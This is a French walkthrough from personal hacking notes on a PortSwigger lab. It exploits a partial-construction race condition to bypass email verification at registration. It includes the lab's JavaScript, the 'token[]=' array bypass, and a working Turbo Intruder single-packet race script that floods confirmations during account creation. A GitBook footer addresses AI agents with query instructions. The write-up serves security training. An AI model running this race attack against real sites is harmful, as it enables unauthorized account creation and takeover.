> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/race-conditions/partial-construction-race-condition.md).

# Condition de concurrence de construction partielle

### Conditions de concurrence de construction partielle

#### Objectif du laboratoire

* Le site propose un mécanisme d'inscription avec **la vérification par e-mail**.
* Un **condition de concurrence** vous permet de **contourner la vérification** et de vous inscrire avec une adresse arbitraire.
* Objectif final : **créer un compte**, se connecter, puis **supprimer l'utilisateur `carlos`**.

#### Contexte observé (inscription)

* Message côté interface :

<figure><img src="/files/65a6efd0956259743567e78c19f4384c7c97eb53" alt=""><figcaption></figcaption></figure>

Tentative de créer un compte avec l'e-mail fourni par le labo -> réponse :

<figure><img src="/files/39e33763833dc5405f46750d3cd4c6822390fd6e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b91191839ecf58df2c0d500e41f31aeee985ab26" alt=""><figcaption></figcaption></figure>

Tentative avec un e-mail conforme, par exemple `jordan@ginandjuice.shop` → réponse :

**« Veuillez vérifier vos e-mails pour votre lien d'inscription au compte »**.

{% code overflow="wrap" %}

```bash
csrf=HggS13aIQlQSXW9Tdhh1NmOGrSYIalTN&username=wiener&email=wiener%40exploit-0ad00064047bcce1804a250e017f00f9.exploit-server.net&password=peter
```

{% endcode %}

<figure><img src="/files/034e91d4048b7123373d8ee92a04b1d483622fe0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ee75d245b2fc4b59e34b86538ddab5e78f62a94a" alt=""><figcaption></figcaption></figure>

#### Analyse de l'exploitation (resources/users.js)

<figure><img src="/files/2865e3ece03714711ad49816aa0ed24fefa2d17f" alt=""><figcaption></figcaption></figure>

Dans `users.js`, on voit :

* Le formulaire d'inscription envoie `le nom d'utilisateur`, `email`, `mot de passe`.
* La confirmation de l'e-mail est effectuée via un **POST** vers :
* `POST /confirm?token=...`
* Le jeton est extrait de l'URL et injecté dans l'attribut action du formulaire de confirmation.

Conclusion : la validation dépend d'un point de terminaison **/confirm** avec un **jeton** transmis dans la chaîne de requête.

```javascript
const createRegistrationForm = () => {
    const form = document.getElementById('user-registration');

    const usernameLabel = document.createElement('label');
    usernameLabel.textContent = 'Nom d'utilisateur';
    const usernameInput = document.createElement('input');
    usernameInput.required = true;
    usernameInput.type = 'text';
    usernameInput.name = 'username';

    const emailLabel = document.createElement('label');
    emailLabel.textContent = 'E-mail';
    const emailInput = document.createElement('input');
    emailInput.required = true;
    emailInput.type = 'email';
    emailInput.name = 'email';

    const passwordLabel = document.createElement('label');
    passwordLabel.textContent = 'Mot de passe';
    const passwordInput = document.createElement('input');
    passwordInput.required = true;
    passwordInput.type = 'password';
    passwordInput.name = 'password';

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'S'inscrire';

    form.appendChild(usernameLabel);
    form.appendChild(usernameInput);
    form.appendChild(emailLabel);
    form.appendChild(emailInput);
    form.appendChild(passwordLabel);
    form.appendChild(passwordInput);
    form.appendChild(button);
}

const confirmEmail = () => {
    const container = document.getElementsByClassName('confirmation')[0];

    const parts = window.location.href.split("?");
    const query = parts.length == 2 ? parts[1] : "";
    const action = query.includes('token') ? query : "";

    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '/confirm?' + action;

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'Confirmer';

    form.appendChild(button);
    container.appendChild(form);
}
```

#### Première tentative et blocage

* Tentative de forcer une confirmation vide :

```http
POST /confirm?token=token
```

<figure><img src="/files/a3d2b0e6067bf9b8bed0faba15ed9ed57486c05e" alt=""><figcaption></figcaption></figure>

* Réponse : **Interdit** → point de terminaison protégé contre un jeton vide

<figure><img src="/files/22b3a45094156a870b7614372f704afd2239ff7d" alt=""><figcaption></figcaption></figure>

#### Contournement de la protection (interprétation alternative)

Nouvelle tentative :

```bash
/confirm?token[]=
```

* Réponse : \*\*
* Interprétation : le backend ne bloque plus avec Interdit, il \*\* traite la valeur\*\* (mais indique qu'il s'agit d'un tableau).

<figure><img src="/files/2293f9d479d717ee9d01bfc18b94c478822d84ca" alt=""><figcaption></figcaption></figure>

#### Observation temporelle

* Le **inscription** la requête est plus lente :
* /\~ **199 ms**

Le **confirmation** la requête est plus rapide :

* /\~ **78 ms**

<figure><img src="/files/f5e45a1cae6d613d4c4234c9d74df1867e5f85c1" alt=""><figcaption></figcaption></figure>

Idée : **bombarder** `/confirm?token[]=` pendant la fenêtre où le compte est en cours de création, afin de déclencher une confirmation au mauvais moment

### Exploitation

#### Méthode 1 — Intruder (compétition)

1. Envoyer la `requête POST /confirm?token[]=` à Intruder.

<figure><img src="/files/5598a502d3134dfd0f5fb1c03940332348bc3755" alt=""><figcaption></figcaption></figure>

* Configurer l'envoi comme **requêtes concurrentes** (par exemple 10).

<figure><img src="/files/52853903a05faeb687f1711e4987486b14d4c6ec" alt=""><figcaption></figcaption></figure>

* Pendant ce spam, depuis Repeater (ou le navigateur), créez plusieurs comptes :
* `test1`, `test2`, `test3`,... `test7`

Vérifier les réponses dans Intruder :

* Une des réponses finit par retourner **200**

<figure><img src="/files/648f6763edb739f8624d0b9aae7fbb6714b54d5c" alt=""><figcaption></figcaption></figure>

Essayer de se connecter avec les comptes de test :

* Succès observé (par ex. `test2`).

<figure><img src="/files/777cb964f737ccb37eabf569647cce8c4f7c2f1a" alt=""><figcaption></figcaption></figure>

#### Méthode 2 — Turbo Intruder (attaque Race Single Packet)

1. Sélectionnez une requête et envoyez-la à **Turbo Intruder**.

<figure><img src="/files/906634937c97aea5a62f3936ea2c3e72dfc4c393" alt=""><figcaption></figcaption></figure>

* Choisissez le **race / paquet unique** attaque.

<figure><img src="/files/0be4152e7f7a11bf7a04592459d02a6401d055d5" alt=""><figcaption></figcaption></figure>

Utilisez ce script :

Principe du script (tel qu'appliqué ici) :

* Fichier **plusieurs inscriptions** (`lol0..lol19` utilisateurs)
* Requête **de nombreuses confirmations** (`/confirm?token[]=`)
* Ouvrez la porte pour déclencher la condition de concurrence.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        engine=Engine.BURP2
    )

    confirmation_email = '''POST /confirm?token[]= HTTP/2
Host: 0a0700db04dacc3080b6262500af004e.web-security-academy.net
Cookie: phpsessionid=sOwKShdkHig4oxnUpwlWZ82vFl6rwdom
Content-Length: 0

'''

    gate_name = "race1"

    for i in range(20):
        username = "lol" + str(i)
        engine.queue(target.req, [username], gate=gate_name)

    for j in range(50):
        engine.queue(confirmation_email, [], gate=gate_name)

    engine.openGate(gate_name)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="/files/b51997759e56dc77a97a3d6c9918d68e9a616b90" alt=""><figcaption></figcaption></figure>

#### Résultat attendu

* Au moins un compte est créé **comme si l'e-mail avait été confirmé** (sans posséder le jeton).
* Vous pouvez alors vous connecter avec ce compte, puis utiliser les fonctionnalités du compte pour atteindre l'objectif du labo (suppression de `carlos`).

<figure><img src="/files/574fc0a2499b30a382e7ad61c9776bca7e300684" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/race-conditions/partial-construction-race-condition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
